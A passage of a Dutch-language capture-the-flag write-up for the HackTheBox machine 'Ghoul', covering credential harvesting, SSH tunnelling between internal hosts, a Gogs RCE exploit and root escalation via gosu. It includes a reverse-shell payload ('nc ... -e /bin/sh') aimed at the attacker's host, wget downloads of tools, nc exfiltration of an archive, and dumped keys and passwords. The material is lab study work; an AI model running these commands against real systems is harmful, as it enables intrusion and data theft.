www-data@Aogiri:/var/www/html$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin messagebus:x:103:104::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin kaneki:x:1000:1000::/home/kaneki:/bin/bash Eto:x:1001:1001::/home/Eto:/bin/bash noro:x:1002:1002::/home/noro:/bin/bash rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash www-data@Aogiri:/var/www/html$ su rooot Password: root@Aogiri:/var/www/html# id uid=0(root) gid=0(root) groups=0(root) root@Aogiri:/var/www/html#

En ik kon de gebruikersvlag krijgen van /home/kaneki :

Wij bezaten gebruiker.


Opsomming, draaien van Aogiri naar kaneki-pc

Na het verkrijgen van root kon ik de root-vlag niet vinden:

root@Aogiri:/home/kaneki# cd /root/ root@Aogiri:~# ls -la total 48 drwx------ 1 root root 4096 Apr 28 14:17 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Dec 13 2018 .bashrc drwx------ 1 root root 4096 Dec 13 2018 .cache -rw-r--r-- 1 root root 148 Dec 13 2018 .profile -rw-r--r-- 1 root root 0 Jan 22 2019 .selected_editor drw------- 1 root root 4096 Dec 13 2018 .ssh -rw------- 1 root root 12094 Apr 28 14:17 .viminfo root@Aogiri:~#

Dus begon ik de thuismappen, web- en configuratiebestanden op te sommen.
Elke gebruiker had enkele opmerkingen (hints) in hun thuismap:
Eto :

root@Aogiri:/home/Eto# ls -al total 40 drwx------ 1 Eto Eto 4096 Dec 13 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rwx------ 1 Eto Eto 220 Dec 13 2018 .bash_logout -rwx------ 1 Eto Eto 3771 Dec 13 2018 .bashrc -rwx------ 1 Eto Eto 807 Dec 13 2018 .profile drwx------ 1 Eto Eto 4096 Dec 13 2018 .ssh -rwx------ 1 Eto Eto 92 Dec 13 2018 alert.txt root@Aogiri:/home/Eto# cat alert.txt Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down! root@Aogiri:/home/Eto#

kaneki :

root@Aogiri:/home/kaneki# ls -al total 92 drwx------ 1 kaneki kaneki 4096 Dec 13 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rwx------ 1 kaneki kaneki 220 Dec 13 2018 .bash_logout -rwx------ 1 kaneki kaneki 3771 Dec 13 2018 .bashrc -rwx------ 1 kaneki kaneki 807 Dec 13 2018 .profile drwx------ 1 kaneki kaneki 4096 Dec 13 2018 .ssh -rw------- 1 kaneki kaneki 1802 Dec 13 2018 .viminfo -rw------- 1 kaneki kaneki 148 Dec 13 2018 note.txt -rwx------ 1 kaneki kaneki 136 Dec 13 2018 notes -rwx------ 1 kaneki kaneki 39382 Dec 13 2018 secret.jpg -rwx------ 1 kaneki kaneki 33 Dec 13 2018 user.txt root@Aogiri:/home/kaneki# cat note.txt Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts. root@Aogiri:/home/kaneki# cat notes I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc. DM me for the access. root@Aogiri:/home/kaneki#

noro :

root@Aogiri:/home# cd noro/ root@Aogiri:/home/noro# ls -al total 40 drwx------ 1 noro noro 4096 Dec 13 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rwx------ 1 noro noro 220 Dec 13 2018 .bash_logout -rwx------ 1 noro noro 3771 Dec 13 2018 .bashrc -rwx------ 1 noro noro 807 Dec 13 2018 .profile drwx------ 1 noro noro 4096 Dec 13 2018 .ssh -rwx------ 1 noro noro 24 Dec 13 2018 to-do.txt root@Aogiri:/home/noro# cat to-do.txt Need to update backups. root@Aogiri:/home/noro#

Ik kon ook ssh info krijgen voor de 3 gebruikers:

root@Aogiri:/home/Eto/.ssh# ls -al total 28 drwx------ 1 Eto Eto 4096 Dec 13 2018 . drwx------ 1 Eto Eto 4096 Dec 13 2018 .. -rwx------ 1 Eto Eto 392 Dec 13 2018 authorized_keys -rwx------ 1 Eto Eto 1675 Dec 13 2018 id_rsa -rwx------ 1 Eto Eto 392 Dec 13 2018 id_rsa.pub root@Aogiri:/home/Eto/.ssh# cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzKoGE8Z9QDJDlC52zJFtQHHvZGxXgLi8fnYCOCi6GvuDV+ZNt3krFCwbkn02HAExvj1J9GXkPbZGNwMlYOYNZPqVOT7RRJML9yQNKxl4FW2IX4R23DPN17i/vjF4Gyjkk05H+P4QXsk34KZ71SOT+KMGTJ2tpV+VUKAl6jlMJM5ahDAPgrA6k2DOLk+oRF4c7Riwc2xz3/PNI/EJR8MMK5tP8bp6NUPt2AtCLO495dBFeGX6I164G5csjxxJKx5mzgjJsv5BL0l4H0RvLobDoXF++Lm3r580R6dVFsSlkC7TLJ8oscreVs6cfanQwc0E7zs61dipl5q9ceW1XWK/J Eto@Aogiri root@Aogiri:/home/Eto/.ssh# cd ../../kaneki/.ssh/ root@Aogiri:/home/kaneki/.ssh# ls -la total 28 drwx------ 1 kaneki kaneki 4096 Dec 13 2018 . drwx------ 1 kaneki kaneki 4096 Dec 13 2018 .. -rwx------ 1 kaneki kaneki 797 Dec 13 2018 authorized_keys -rwx------ 1 kaneki kaneki 1766 Dec 13 2018 id_rsa -rwx------ 1 kaneki kaneki 395 Dec 13 2018 id_rsa.pub root@Aogiri:/home/kaneki/.ssh# cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhK6T0d7TXpXNf2anZ/02E0NRVKuSWVslhHaJjUYtdtBVxCJg+wv1oFGPij9hgefdmFIKbvjElSr+rMrQpfCn6v7GmaP2QOjaoGPPX0EUPn9swnReRgi7xSKvHzru/ESc9AVIQIaeTypLNT/FmNuyr8P+gFLIq6tpS5eUjMHFyd68SW2shb7GWDM73tOAbTUZnBv+z1fAXv7yg2BVl6rkknHSmyV0kQJw5nQUTm4eKq2AIYTMB76EcHc01FZo9vsebBnD0EW4lejtSI/SRC+YCqqY+L9TZ4cunyYKNOuAJnDXncvQI8zpE+c50k3UGIatnS5f2MyNVn1l1bYDFQgYl kaneki_pub@kaneki-pc ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@Aogiri root@Aogiri:/home/kaneki/.ssh# cd ../../noro/.ssh/ root@Aogiri:/home/noro/.ssh# ls -al total 28 drwx------ 1 noro noro 4096 Dec 13 2018 . drwx------ 1 noro noro 4096 Dec 13 2018 .. -rwx------ 1 noro noro 393 Dec 13 2018 authorized_keys -rwx------ 1 noro noro 1675 Dec 13 2018 id_rsa -rwx------ 1 noro noro 393 Dec 13 2018 id_rsa.pub root@Aogiri:/home/noro/.ssh# cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAIchqQ1i+uOQ4jckHbO8sdtks3Cm6Ygie9youcFvqH6rBSxqWdQn8PdQ/HgrXN+RvED28aRC0kkzACL79gx9RGS4/kxqZBlPyP9mu7BWmC1J0NLACws0mvinztpixUaNj2w4WaBBe2+MpfeRoo9Abk4sBcZC7De6ZZl6RRqrdsb1kTZSWMXyxIOJMZrc+3dAc5+faujSkyeVbudjSlLf3g8xis/uSE3OvGhF4ypYDGDSRYbLY8oScDNU0eQexGMXYcY10z5f69hnrvaZ8wkvTKXwqHoMpgtjBz5NxewnY6UqhdMn0LkEeZdtK6UPRHdfSwoxjOgSyjaEmhU013d+p noro@Aogiri root@Aogiri:/home/noro/.ssh#

In de authorized_keys kaneki was er een openbare sleutel voor kaneki_pub@kaneki-pc , en daarmee en de hints over de pc van kaneki en de andere bestandsserver was het duidelijk dat we naar een andere host moesten draaien. Maar daarvoor kon ik enkele wachtwoorden vinden in /var/www/html/users/login.php :

<?php session_start (); /* Starts the session */ /* Check Login form submitted */ if ( isset ( $_POST [ 'Submit' ])){ /* Define username and associated password array */ $logins = array ( 'kaneki' => '123456' , 'noro' => 'password123' , 'admin' => 'abcdef' ); /* Check and assign submitted Username and Password to new variable */ $Username = isset ( $_POST [ 'Username' ]) ? $_POST [ 'Username' ] : '' ; $Password = isset ( $_POST [ 'Password' ]) ? $_POST [ 'Password' ] : '' ; /* Check Username and Password existence in defined array */ if ( isset ( $logins [ $Username ]) && $logins [ $Username ] == $Password ){ /* Success: Set session variables and redirect to Protected page */ $_SESSION [ 'UserData' ][ 'Username' ] = $logins [ $Username ]; header ( "location:index.php" ); exit ; } else { /*Unsuccessful attempt: Set error message */ $msg = "<span style='color:red'>Invalid Login Details</span>" ; } } ?>

En in /usr/share/tomcat7/conf/tomcat-users.xml :

<?xml version='1.0' encoding='utf-8'?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <tomcat-users> <!-- NOTE: By default, no user is included in the "manager-gui" role required to operate the "/manager/html" web application. If you wish to use this app, you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the users in the commented out section below since they are intended for use with the examples web application. --> <!-- NOTE: The sample user and role entries below are intended for use with the examples web application. They are wrapped in a comment and thus are ignored when reading this file. If you wish to configure these users for use with the examples web application, do not forget to remove the <!.. ..> that surrounds them. You will also need to set the passwords to something appropriate. --> <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <user username= "admin" password= "admin" roles= "admin" /> <role rolename= "admin" /> <!--<user username="admin" password="test@aogiri123" roles="admin" /> <role rolename="admin" />--> </tomcat-users>

123456 , password123 en test@aogiri123 . Misschien hebben we ze later nodig.
Ik heb de andere interfaces gecontroleerd:

root@Aogiri:/home/noro# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.20.0.10 netmask 255.255.0.0 broadcast 172.20.255.255 ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet) RX packets 54427 bytes 10267568 (10.2 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 49877 bytes 43322005 (43.3 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback) RX packets 467 bytes 46415 (46.4 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 467 bytes 46415 (46.4 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 root@Aogiri:/home/noro#

Aogiri ‘s IP op eth0 is 172.20.0.10 . We moeten weten welke andere hosts live zijn op dat subnet, dus we zullen een eenvoudige ping sweep doen :

root@Aogiri:~# for i in {1..255}; do ping -c 1 172.20.0.$i; done | grep 'ttl=' 64 bytes from 172.20.0.1: icmp_seq=0 ttl=64 time=0.109 ms 64 bytes from 172.20.0.10: icmp_seq=0 ttl=64 time=0.066 ms 64 bytes from 172.20.0.150: icmp_seq=0 ttl=64 time=0.272 ms root@Aogiri:~#

We hebben 172.20.0.150 we moeten het scannen op open poorten, noch nmap noch nc is geïnstalleerd, dus ik heb een statische versie van nc en deze geüpload:

root@Aogiri:/tmp# wget http://10.10.xx.xx/nc --2019-10-04 13:05:16-- http://10.10.xx.xx/nc Connecting to 10.10.xx.xx:80... connected. HTTP request sent, awaiting response... 200 OK Length: 959800 (937K) [application/octet-stream] Saving to: 'nc' nc 100%[=====================================================================================================================>] 937.30K 242KB/s in 5.3s 2019-10-04 13:05:22 (177 KB/s) - 'nc' saved [959800/959800] root@Aogiri:/tmp#

Ik heb de eerste 1000 poorten gescand en ssh was open:

root@Aogiri:/tmp# ./nc -zv 172.20.0.150 1-1000 64978af526b2.Aogiri [172.20.0.150] 22 (ssh) open root@Aogiri:/tmp#

Ervan uitgaande dat kaneki-pc , kunnen we de kaneki gebruiken om ssh te gebruiken als kaneki_pub . Maar er was een probleem, de sleutel is gecodeerd:

-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F wqcYgOwX3V511WRuXWuRheYyzo5DelW+/XsBtXoL8/Ow7/Tj4EC4dKCfas39HQW8 MNbTv51gYxQ/Vc3W1jEYSyxTCYAu600naUhX3+En7P8kje2s0I4VEZX0MJqgB/pv J9nPBtbXcqV6/v6Vkbc5kGtMiRVMYzS9KWiCOafveFQCr1orYmnNINsZou4AWrfB Ofr63sUVD8V1Rabnoltbo+pePXnQ6HqjpO1b2qCyUQBxDxwSFT5a+j5YvMYV3JXK HOo4D0fcMoBVT46pXga6wZtiB4XgeM/iB/xg6YfdfMPuDBJ6+fqZMjlm+GvEexkl EEtJAqoSG/yCOjedByVqmfKye9DaIY9Um2WkWcX1bVRlYktYtpb755aDmVVoQjb5 CmW4yuLapjqUrGEFY+ghLLRdZvSBPZ18PbUgVMqpdmrfnEy48d22IGPJ6ZO2L4qR FzLjkQkjFRgkrBJ9bSzYS/NYZ8QGQh/wk3BHaupjLxD2j1Ta7PXwCjh4zBZNPO/e 9VN9c+b/zwYSyyeKcJ8dhFEH26j5g93EnWTkdLEMyw6tRbdzhQbNo02WWDTvWPJv +6A+6xA6/+NxacHXfyfxQ+l8CsmpZ5CgKjKHfFeDYZHyoPhcthKkL3Go3rqZ1HOb MimhTR3wOUwoV/XaVcCvW+5LwPh1ljdnHCjaY2VzKns4/X+2dZtOsDz5aCovN7mM eHsRuIEVKtZ2EijKfYZGtDaDwTd/1YTDooGdDDdDipr8bTDvD14r07Yk/xrfjEUp V9+v3PzmD1trqIlFw+7D8ogFsXJ/P+raVFWaihQWEeqOnGXEhHQ0afgcVt9w62tV 1YeVA0RwHu4S1IObji9RP1DfAMid0pCSnvAoFd/EArnAtwgPFOLqvPZj5j+LjFPL sOHUW+N+cY24HpH1UVTEWAkgkiGz89/bF98c1kpoLEkS2sjU+jVONTBlLeRmqcDJ YnCcPXrkT6oC/wctYlM141hrctWRyjY+f0IwREDCv8TM1aAAY3vaZUdMfy71Q3DE PO4S5ivuruwGeCQmGhEmWBSm0PwpGd0pNbHv+zs0TH+2lmAn8O3R2UrcCu0TxhmH oW0mQbl+2u+xVB5ijjqtm0CFLsXiX17FdCbMp1huCMTx9TuY6GMeSsN6X7exTIcx DEvpUHREXgtVqBdNX1QxIoMIxpK2qlMfPYtGikthba5fjBof0b/8lJvtZuoWrJ9R L0HWW16fkbjEXSrwdEb5zjntCxJKLWmKgiFfaoJ9/L1yhc12w/EQjpUxGkFdyeMs 7QyGClGpKFU4GQvKMQYei57sNk/ZUPgPWizNfuuU/8qBhKXG9JB2R3GWFTEpxzO8 luTnBEUn8Se3cLNrBQ05LIVk2jRYhUE6IBWFYvhjQUGChZTZjSlxNR55t6olYj2M JBxtT5E2YDhSk4nB21IlTIurggP9pNm+PtTTt2o0jzOD5uOHko6VzGz4Ukvbo0gZ /zyr4fR7OhGG0grtKxV1s2PpDt9bkhnMXJ+I8zZVN9INHUsoE5IXtpKKJOCQYFjQ v+EB7xAmWe1q9xSgLSq6I1fWJrYqjkOd9TpqVPNoyTGWM1ELYXyHah8vZi+0BFzh -----END RSA PRIVATE KEY-----

Ik probeerde de sleutel te kraken, maar ik kon het wachtwoord niet vinden in rockyou . Toen herinnerde ik me /secret.php toen Noro Kaneki om toegang vroeg en Kaneki antwoordde met een rare string die eruitzag als een wachtwoord ( ILoveTouka ): 

Ik heb dat als het sleutelwachtwoord geprobeerd en het werkte:

root@kali:~/Desktop/HTB/boxes/ghoul# nano kaneki.key root@kali:~/Desktop/HTB/boxes/ghoul# chmod 600 kaneki.key root@kali:~/Desktop/HTB/boxes/ghoul# ssh -i kaneki.key kaneki@ghoul.htb Enter passphrase for key 'kaneki.key': Last login: Fri Oct 4 11:40:26 2019 from 10.10.15.168 kaneki@Aogiri:~$

Omdat ik dingen ga tunnelen, echode ik mijn openbare sleutel naar /root/.ssh/authorized_keys en kreeg ik ssh als root:

Ik stuurde poort 22 door op 172.20.0.150 en stuurde vervolgens naar de box als kaneki_pub :

root@kali:~/Desktop/HTB/boxes/ghoul# ssh -i id_rsa -L 2020:172.20.0.150:22 root@ghoul.htb Last login: Fri Oct 4 13:13:00 2019 from 10.10.xx.xx root@Aogiri:~#
root@kali:~/Desktop/HTB/boxes/ghoul# ssh kaneki_pub@localhost -p 2020 -i ./kaneki.key Enter passphrase for key './kaneki.key': Last login: Fri Oct 4 11:35:41 2019 from 172.20.0.10 kaneki_pub@kaneki-pc:~$

RCE in gogs, draaien van kaneki-pc naar git

Er was een tekstbestand met de naam to-do.txt in de thuismap:

kaneki_pub@kaneki-pc:~$ ls -la total 40 drwx------ 3 kaneki_pub kaneki_pub 4096 Dec 16 2018 . drwxr-xr-x 1 root root 4096 Dec 16 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rwx------ 1 kaneki_pub kaneki_pub 220 Dec 16 2018 .bash_logout -rwx------ 1 kaneki_pub kaneki_pub 3771 Dec 16 2018 .bashrc -rwx------ 1 kaneki_pub kaneki_pub 807 Dec 16 2018 .profile drwx------ 2 kaneki_pub kaneki_pub 4096 Dec 16 2018 .ssh -rw------- 1 kaneki_pub kaneki_pub 3139 Dec 16 2018 .viminfo -rw-r--r-- 1 kaneki_pub kaneki_pub 165 Dec 16 2018 .wget-hsts -rw-r--r-- 1 root root 44 Dec 16 2018 to-do.txt kaneki_pub@kaneki-pc:~$ cat to-do.txt Give AogiriTest user access to Eto for git. kaneki_pub@kaneki-pc:~$

Op Aogiri er een hint over een kwetsbaarheid in gogs :

root@Aogiri:/home/kaneki# cat note.txt Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.

Een pijnloze, zelf gehoste Git-service. – gogs.io

Ik controleerde de interfaces en er was een nieuw subnet:

kaneki_pub@kaneki-pc:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.20.0.150 netmask 255.255.0.0 broadcast 172.20.255.255
ether 02:42:ac:14:00:96 txqueuelen 0 (Ethernet)
RX packets 6515 bytes 1292586 (1.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6106 bytes 2477952 (2.4 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.18.0.200 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:ac:12:00:c8 txqueuelen 0 (Ethernet)
RX packets 4740 bytes 2190142 (2.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5008 bytes 1028959 (1.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Dus ik heb nog een ping-sweep uitgevoerd:

kaneki_pub@kaneki-pc:~$ for i in {1..255}; do ping -c 1 172.18.0.$i; done | grep 'ttl=' 64 bytes from 172.18.0.1: icmp_seq=0 ttl=64 time=0.125 ms 64 bytes from 172.18.0.2: icmp_seq=0 ttl=64 time=0.146 ms 64 bytes from 172.18.0.200: icmp_seq=0 ttl=64 time=0.054 ms

En opnieuw downloadde ik nc om de ontdekte host te scannen ( 172.18.0.200 ):

kaneki_pub@kaneki-pc:/tmp$ wget http://172.20.0.10:8888/nc --2019-10-04 13:37:59-- http://172.20.0.10:8888/nc Connecting to 172.20.0.10:8888... connected. HTTP request sent, awaiting response... 200 OK Length: 959800 (937K) [application/octet-stream] Saving to: 'nc' nc 100%[=====================================================================================================================>] 937.30K --.-KB/s in 0.006s 2019-10-04 13:37:59 (161 MB/s) - 'nc' saved [959800/959800] kaneki_pub@kaneki-pc:/tmp$
kaneki_pub@kaneki-pc:/tmp$ ./nc -zv 172.18.0.2 1-10000 cuff_web_1.cuff_default [172.18.0.2] 22 (ssh) open cuff_web_1.cuff_default [172.18.0.2] 3000 open kaneki_pub@kaneki-pc:/tmp$

Poort 3000 is de standaardpoort voor gogs , ik stuurde het door naar Aogori vervolgens van Aogiri naar mijn machine:

root@kali:~/htb/ghoul/keyz# ssh -i kaneki.key kaneki@10.10.10.101
Enter passphrase for key 'kaneki.key': 
Last login: Thu Dec 5 13:46:19 2019 from 10.10.16.70
kaneki@Aogiri:~$ ssh -L 3000:172.18.0.2:3000 kaneki_pub@172.20.0.150
Enter passphrase for key '/home/kaneki/.ssh/id_rsa': 
Last login: Sun Jan 20 12:43:37 2019 from 172.20.0.10
kaneki_pub@kaneki-pc:~$
root@kali:~/htb/ghoul/keyz# ssh -L 3000:127.0.0.1:3000 -i kaneki.key kaneki@10.10.10.101
Enter passphrase for key 'kaneki.key': 
Last login: Fri Dec 6 10:07:15 2019 from 10.10.16.70
kaneki@Aogiri:~$

We hebben al de gebruikersnaam: AogiriTest . Ik probeerde het wachtwoord dat ik kreeg van tomcat-users.xml ( test@aogiri123 ) en het werkte: 

De hint zei dat deze versie van gogs kwetsbaar was, dus heb ik https://github.com/TheZ3ro/gogsownz gekloond naar https://github.com/puckiestyle/python/blob/master/gogsownz.py en geprobeerd de RCE kwetsbaarheid te misbruiken:

root@kali:~/htb/ghoul/gogsownz# python3 gogsownz.py -v http://127.0.0.1:3000/ -C 'AogiriTest':'test@aogiri123' -n i_like_gogits --rce 'nc 10.10.16.70 1337 -e /bin/sh' --cleanup
[i] Starting Gogsownz on: http://127.0.0.1:3000
[+] Loading Gogs homepage
[i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 
[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account.
[+] Performing login
[+] Logged in sucessfully as AogiriTest
[+] Got UserID 2
[+] Repository created sucessfully
[i] Exploiting authenticated PrivEsc...
[+] Uploading admin session as repository file
[+] Uploaded successfully.
[+] Committing the Admin session
[+] Committed sucessfully
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Signed in as kaneki, is admin True
[i] Current session cookie: '82a85ea124001337'
[+] Got UserID 1
[+] Repository created sucessfully
[+] Setting Git hooks
[+] Git hooks set sucessfully
[+] Fetching last commit...
[+] Got last commit
[+] Triggering the RCE with a new commit
[+] Committed sucessfully
[i] Performed RCE successfully
[i] Waiting 10 seconds before cleaning up...
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Done!
root@kali:~/htb/ghoul/gogsownz# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.101 - - [06/Dec/2019 05:29:34] "GET / HTTP/1.1" 200 -

Het werkte, tijd om een ​​omgekeerde shell te krijgen:

root@kali:~/htb/ghoul/gogsownz# python3 gogsownz.py -v http://127.0.0.1:3000/ -C 'AogiriTest':'test@aogiri123' -n i_like_gogits --rce 'nc 10.10.16.70 1337 -e /bin/sh' --cleanup
[i] Starting Gogsownz on: http://127.0.0.1:3000
[+] Loading Gogs homepage
[i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 
[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account.
[+] Performing login
[+] Logged in sucessfully as AogiriTest
[+] Got UserID 2
[+] Repository created sucessfully
[i] Exploiting authenticated PrivEsc...
[+] Uploading admin session as repository file
[+] Uploaded successfully.
[+] Committing the Admin session
[+] Committed sucessfully
[+] Removing Repo evidences
[+] Repo removed sucessfully
[i] Signed in as kaneki, is admin True
[i] Current session cookie: '82a85ea124001337'
[+] Got UserID 1
[+] Repository created sucessfully
[+] Setting Git hooks
[+] Git hooks set sucessfully
[+] Fetching last commit...
[+] Got last commit
[+] Triggering the RCE with a new commit
root@kali:~/htb/ghoul/gogsownz# rlwrap nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.101] 32955
id
uid=1000(git) gid=1000(git) groups=1000(git)
hostname
3713ea5e4353
cd /usr/sbin
gosu root /bin/bash
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)


Privilege-escalatie van git naar root, aogiri-app.7z verkrijgen

Helaas was python niet op de host geïnstalleerd, dus moest ik op zoek sshnaar een betere shell.

Ik kon niets nuttigs vinden, dus moest ik escaleren naar root. Na enige regelmatige opsomming heb ik de suidbinaire bestanden gecontroleerd :

3713ea5e4353:~$ find / -perm -4000 2>/dev/null /usr/bin/passwd /usr/bin/gpasswd /usr/bin/chage /usr/bin/chfn /usr/bin/chsh /usr/bin/newgrp /usr/bin/expiry /usr/sbin/gosu /bin/su 3713ea5e4353:~$

gosu was interessant, dus ik controleerde het en ontdekte dat het opdrachten uitvoert zoals andere gebruikers zelfs root, dus ik voerde bash als root uit:

3713ea5e4353:~$ gosu Usage: gosu user-spec command [args] ie: gosu tianon bash gosu nobody:root bash -c 'whoami && id' gosu 1000:1 id gosu version: 1.10 (go1.7.1 on linux/amd64; gc) license: GPL-3 (full text at https://github.com/tianon/gosu) 3713ea5e4353:~$ gosu root bash 3713ea5e4353:/data/git# whoami root 3713ea5e4353:/data/git#

Ik controleerde de hoofdmap en vond een bash-script met de naam session.sh:

3713ea5e4353:~# ls -la total 128 drwx------ 1 root root 4096 Dec 29 2018 . drwxr-xr-x 1 root root 4096 Dec 13 2018 .. lrwxrwxrwx 1 root root 9 Dec 29 2018 .ash_history -> /dev/null lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null -rw-r--r-- 1 root root 117507 Dec 29 2018 aogiri-app.7z -rwxr-xr-x 1 root root 179 Dec 16 2018 session.sh 3713ea5e4353:~#
#!/bin/bash while true do sleep 300 rm -rf /data/gogs/data/sessions sleep 2 curl -d 'user_name=kaneki&password=12345ILoveTouka!!!' http://172.18.0.2:3000/user/login done

Dit script werd periodiek uitgevoerd om de actieve sessies te beëindigen. Ik heb het wachtwoord opgeslagen omdat we het later misschien nodig hebben.
Het andere was een 7zarchief genaamd aogiri-app.7z, ik gebruikte het ncom naar mijn doos te downloaden:

3713ea5e4353:~# nc -w 3 10.10.xx.xx 1338 < aogiri-app.7z 3713ea5e4353:~# md5sum aogiri-app.7z 88e134a69f8c2f96de31581a52895c07 aogiri-app.7z 3713ea5e4353:~#
root@kali:~/Desktop/HTB/boxes/ghoul# nc -lp 1338 > aogiri-app.7z root@kali:~/Desktop/HTB/boxes/ghoul# md5sum aogiri-app.7z 88e134a69f8c2f96de31581a52895c07 aogiri-app.7z root@kali:~/Desktop/HTB/boxes/ghoul#

Zoeken via git Commits, Privilege escalatie op kaneki-pc

Ik maakte een map en noemde hem aogiri-apptoen pakte ik het archief daar:

